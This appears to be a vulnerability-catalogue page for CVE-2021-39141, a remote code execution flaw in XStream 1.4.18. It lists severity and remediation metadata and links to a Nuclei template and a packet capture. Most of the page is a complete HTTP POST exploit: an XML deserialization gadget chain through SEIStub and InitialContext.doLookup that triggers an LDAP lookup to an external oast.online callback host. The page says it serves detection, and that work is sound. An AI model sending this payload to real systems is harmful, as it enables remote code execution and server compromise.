🔙 목록으로 돌아가기

CVE-2021-39141: XStream 1.4.18 - Remote Code Execution

TitleXStream 1.4.18 - Remote Code Execution
Authorpwnhxl
SeverityHigh
ImpactAttackers can exploit unsafe deserialization in XStream to execute arbitrary commands on the host, potentially obtaining sensitive information and compromising the entire application server.
RemediationUpgrade XStream to a version that is not affected by CVE-2021-39141.
CVSS Score8.5
EPSS Score0.84542
CVE IDCVE-2021-39141
CWE IDCWE-434
Tags cve cve2021 xstream deserialization rce xstream_project vuln

🔍 Vulnerability Description

XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

🌐 HTTP Request

POST / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Connection: close
Content-Length: 9017
Content-Type: application/xml
Accept-Encoding: gzip

<java.util.PriorityQueue serialization='custom'>

  <unserializable-parents/>

  <java.util.PriorityQueue>

    <default>

      <size>2</size>

    </default>

    <int>3</int>

    <dynamic-proxy>

      <interface>java.lang.Comparable</interface>

      <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>

        <owner/>

        <managedObjectManagerClosed>false</managedObjectManagerClosed>

        <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>

          <stubHandlers>

            <entry>

              <method>

                <class>java.lang.Comparable</class>

                <name>compareTo</name>

                <parameter-types>

                  <class>java.lang.Object</class>

                </parameter-types>

              </method>

              <com.sun.xml.internal.ws.client.sei.StubHandler>

                <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>

                  <indices>

                    <int>0</int>

                  </indices>

                  <getters>

                    <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>

                  </getters>

                  <accessors>

                    <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>

                      <val_-isJAXBElement>false</val_-isJAXBElement>

                      <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>

                        <type>int</type>

                        <field>

                          <name>hash</name>

                          <clazz>java.lang.String</clazz>

                        </field>

                      </val_-getter>

                      <val_-isListType>false</val_-isListType>

                      <val_-n>

                        <namespaceURI/>

                        <localPart>hash</localPart>

                        <prefix/>

                      </val_-n>

                      <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>

                        <type>java.lang.String</type>

                        <method>

                          <class>javax.naming.InitialContext</class>

                          <name>doLookup</name>

                          <parameter-types>

                            <class>java.lang.String</class>

                          </parameter-types>

                        </method>

                      </val_-setter>

                      <outer-class>

                        <propertySetters>

                          <entry>

                            <string>serialPersistentFields</string>

                            <com.sun.xml.internal.ws.spi.db.FieldSetter>

                              <type>[Ljava.io.ObjectStreamField;</type>

                              <field>

                                <name>serialPersistentFields</name>

                                <clazz>java.lang.String</clazz>

                              </field>

                            </com.sun.xml.internal.ws.spi.db.FieldSetter>

                          </entry>

                          <entry>

                            <string>CASE_INSENSITIVE_ORDER</string>

                            <com.sun.xml.internal.ws.spi.db.FieldSetter>

                              <type>java.util.Comparator</type>

                              <field>

                                <name>CASE_INSENSITIVE_ORDER</name>

                                <clazz>java.lang.String</clazz>

                              </field>

                            </com.sun.xml.internal.ws.spi.db.FieldSetter>

                          </entry>

                          <entry>

                            <string>serialVersionUID</string>

                            <com.sun.xml.internal.ws.spi.db.FieldSetter>

                              <type>long</type>

                              <field>

                                <name>serialVersionUID</name>

                                <clazz>java.lang.String</clazz>

                              </field>

                            </com.sun.xml.internal.ws.spi.db.FieldSetter>

                          </entry>

                          <entry>

                            <string>value</string>

                            <com.sun.xml.internal.ws.spi.db.FieldSetter>

                              <type>[C</type>

                              <field>

                                <name>value</name>

                                <clazz>java.lang.String</clazz>

                              </field>

                            </com.sun.xml.internal.ws.spi.db.FieldSetter>

                          </entry>

                          <entry>

                            <string>hash</string>

                            <com.sun.xml.internal.ws.spi.db.FieldSetter>

                              <type>int</type>

                              <field reference='../../../../../val_-getter/field'/>

                            </com.sun.xml.internal.ws.spi.db.FieldSetter>

                          </entry>

                        </propertySetters>

                        <propertyGetters>

                          <entry>

                            <string>serialPersistentFields</string>

                            <com.sun.xml.internal.ws.spi.db.FieldGetter>

                              <type>[Ljava.io.ObjectStreamField;</type>

                              <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>

                            </com.sun.xml.internal.ws.spi.db.FieldGetter>

                          </entry>

                          <entry>

                            <string>CASE_INSENSITIVE_ORDER</string>

                            <com.sun.xml.internal.ws.spi.db.FieldGetter>

                              <type>java.util.Comparator</type>

                              <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>

                            </com.sun.xml.internal.ws.spi.db.FieldGetter>

                          </entry>

                          <entry>

                            <string>serialVersionUID</string>

                            <com.sun.xml.internal.ws.spi.db.FieldGetter>

                              <type>long</type>

                              <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>

                            </com.sun.xml.internal.ws.spi.db.FieldGetter>

                          </entry>

                          <entry>

                            <string>value</string>

                            <com.sun.xml.internal.ws.spi.db.FieldGetter>

                              <type>[C</type>

                              <field reference='../../../../propertySetters/entry[4]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>

                            </com.sun.xml.internal.ws.spi.db.FieldGetter>

                          </entry>

                          <entry>

                            <string>hash</string>

                            <com.sun.xml.internal.ws.spi.db.FieldGetter reference='../../../../val_-getter'/>

                          </entry>

                        </propertyGetters>

                        <elementLocalNameCollision>false</elementLocalNameCollision>

                        <contentClass>java.lang.String</contentClass>

                        <elementDeclaredTypes/>

                      </outer-class>

                    </com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>

                  </accessors>

                  <wrapper>java.lang.Object</wrapper>

                  <bindingContext class='com.sun.xml.internal.ws.db.glassfish.JAXBRIContextWrapper'/>

                  <dynamicWrapper>false</dynamicWrapper>

                </bodyBuilder>

                <isOneWay>false</isOneWay>

              </com.sun.xml.internal.ws.client.sei.StubHandler>

            </entry>

          </stubHandlers>

          <clientConfig>false</clientConfig>

        </databinding>

        <methodHandlers>

          <entry>

            <method reference='../../../databinding/stubHandlers/entry/method'/>

            <com.sun.xml.internal.ws.client.sei.SyncMethodHandler>

              <owner reference='../../../..'/>

              <method reference='../../../../databinding/stubHandlers/entry/method'/>

              <isVoid>false</isVoid>

              <isOneway>false</isOneway>

            </com.sun.xml.internal.ws.client.sei.SyncMethodHandler>

          </entry>

        </methodHandlers>

      </handler>

    </dynamic-proxy>

    <string>ldap://d5jo1n1le0o4ng42u7e0gmo3hnqoktyna.oast.online/#evil</string>

  </java.util.PriorityQueue>

</java.util.PriorityQueue>

📚 References

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39141.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-39141.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A